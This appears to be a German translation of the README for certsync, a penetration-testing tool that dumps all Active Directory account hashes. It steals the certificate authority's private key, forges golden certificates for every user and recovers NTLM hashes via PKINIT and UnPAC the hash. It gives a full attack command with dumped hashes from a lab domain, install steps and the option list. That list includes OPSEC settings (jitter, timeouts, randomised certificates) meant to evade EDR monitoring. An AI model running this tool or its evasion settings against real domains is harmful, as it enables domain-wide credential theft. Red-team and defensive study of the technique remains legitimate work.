
NTDS mit golden certificates dumpen und den hash UnPACen
certsync ist eine neue Technik, um NTDS remote zu dumpen, aber dieses Mal ohne DRSUAPI: Sie verwendet golden certificate und UnPAC the hash.
Es funktioniert in mehreren Schritten:
$ certsync -u khal.drogo -p 'horse' -d essos.local -dc-ip 192.168.56.12 -ns 192.168.56.12
[*] Collecting userlist, CA info and CRL on LDAP
[*] Found 13 users in LDAP
[*] Found CA ESSOS-CA on braavos.essos.local(192.168.56.23)
[*] Dumping CA certificate and private key
[*] Forging certificates for every users. This can take some time...
[*] PKINIT + UnPAC the hashes
ESSOS.LOCAL/BRAAVOS$:1104:aad3b435b51404eeaad3b435b51404ee:08083254c2fd4079e273c6c783abfbb7:::
ESSOS.LOCAL/MEEREEN$:1001:aad3b435b51404eeaad3b435b51404ee:b79758e15b7870d28ad0769dfc784ca4:::
ESSOS.LOCAL/sql_svc:1114:aad3b435b51404eeaad3b435b51404ee:84a5092f53390ea48d660be52b93b804:::
ESSOS.LOCAL/jorah.mormont:1113:aad3b435b51404eeaad3b435b51404ee:4d737ec9ecf0b9955a161773cfed9611:::
ESSOS.LOCAL/khal.drogo:1112:aad3b435b51404eeaad3b435b51404ee:739120ebc4dd940310bc4bb5c9d37021:::
ESSOS.LOCAL/viserys.targaryen:1111:aad3b435b51404eeaad3b435b51404ee:d96a55df6bef5e0b4d6d956088036097:::
ESSOS.LOCAL/daenerys.targaryen:1110:aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a:::
ESSOS.LOCAL/SEVENKINGDOMS$:1105:aad3b435b51404eeaad3b435b51404ee:b63b6ef2caab52ffcb26b3870dc0c4db:::
ESSOS.LOCAL/vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
ESSOS.LOCAL/Administrator:500:aad3b435b51404eeaad3b435b51404ee:54296a48cd30259cc88095373cec24da:::
Entgegen der Annahme ist der Angriff überhaupt nicht langsamer.
Lokal:
git clone https://github.com/zblurx/certsync
cd certsync
pip install .
Von PyPI:
pip install certsync
Von BlackArch:
pacman -S certsync
Pakete für alle Betriebssysteme:
$ certsync -h
usage: certsync [-h] [-debug] [-outputfile OUTPUTFILE] [-ca-pfx pfx/p12 file name] [-ca-ip ip address] [-d domain.local] [-u username]
[-p password] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-kdcHost KDCHOST] [-scheme ldap scheme] [-ns nameserver]
[-dns-tcp] -dc-ip ip address [-ldap-filter LDAP_FILTER] [-template cert.pfx] [-timeout timeout] [-jitter jitter] [-randomize]
NTDS mit goldenen Zertifikaten und UnPAC the hash dumpen
options:
-h, --help diese Hilfemeldung anzeigen und beenden
-debug DEBUG-Ausgabe AKTIVIEREN
-outputfile OUTPUTFILE
Basis-Ausgabedateiname
CA options:
-ca-pfx pfx/p12 file name
Pfad zum CA-Zertifikat. Wenn angegeben, wird das Backup des CA-Zertifikats und des privaten Schlüssels übersprungen
-ca-ip ip address IP-Adresse der Zertifizierungsstelle. Wenn nicht angegeben, wird der in LDAP angegebene Domain-Teil (FQDN) verwendet
authentication options:
-d domain.local, -domain domain.local
Domänenname
-u username, -username username
Benutzername
-p password, -password password
Passwort
-hashes LMHASH:NTHASH
NTLM-Hashes, Format ist LMHASH:NTHASH
-no-pass nicht nach Passwort fragen (nützlich für -k)
-k Kerberos-Authentifizierung verwenden. Holt Anmeldedaten aus der ccache-Datei (KRB5CCNAME) basierend auf Zielparametern. Wenn keine gültigen Anmeldedaten gefunden werden, werden die in der Befehlszeile angegebenen verwendet
-aesKey hex key AES-Schlüssel für die Kerberos-Authentifizierung (128 oder 256 Bit)
-kdcHost KDCHOST FQDN des Domänencontrollers. Wenn nicht angegeben, wird der im Zielparameter angegebene Domain-Teil (FQDN) verwendet
connection options:
-scheme ldap scheme
-ns nameserver Nameserver für DNS-Auflösung
-dns-tcp TCP statt UDP für DNS-Abfragen verwenden
-dc-ip ip address IP-Adresse des Domänencontrollers. Wenn nicht angegeben, wird der im Zielparameter angegebene Domain-Teil (FQDN) verwendet
OPSEC options:
-ldap-filter LDAP_FILTER
LDAP-Filter zum Dumpen von Benutzern. Standard ist (&(|(objectCategory=person)(objectClass=computer))(objectClass=user))
-template cert.pfx Basisvorlage zum Fälschen von Zertifikaten
-timeout timeout Timeout zwischen PKINIT-Verbindungen
-jitter jitter Jitter zwischen PKINIT-Verbindungen
-randomize Zertifikatserstellung randomisieren. Dauert länger, um alle Zertifikate zu generieren
DRSUAPI wird zunehmend überwacht und manchmal von EDR-Lösungen eingeschränkt. Außerdem benötigt certsync keinen Domänenadministrator, sondern nur einen CA-Administrator.
Dieser Angriff benötigt:
Da wir für widerrufene Benutzer kein PKINIT durchführen können, können wir deren Hashes nicht dumpen.
Einige Optionen wurden hinzugefügt, um das Verhalten des Tools anzupassen:
-ldap-filter: Ändert den LDAP-Filter zur Auswahl von Benutzernamen für certsync.-template: Verwendet ein bereits ausgestelltes Zertifikat, um es beim Fälschen von Benutzerzertifikaten nachzuahmen.-timeout und -jitter: Ändern das Timeout zwischen PKINIT-Authentifizierungsanfragen.-randomize: Standardmäßig haben alle gefälschten Benutzerzertifikate denselben privaten Schlüssel, dieselbe Seriennummer und dieselben Gültigkeitsdaten. Dieser Parameter randomisiert sie, aber die Fälschung dauert länger.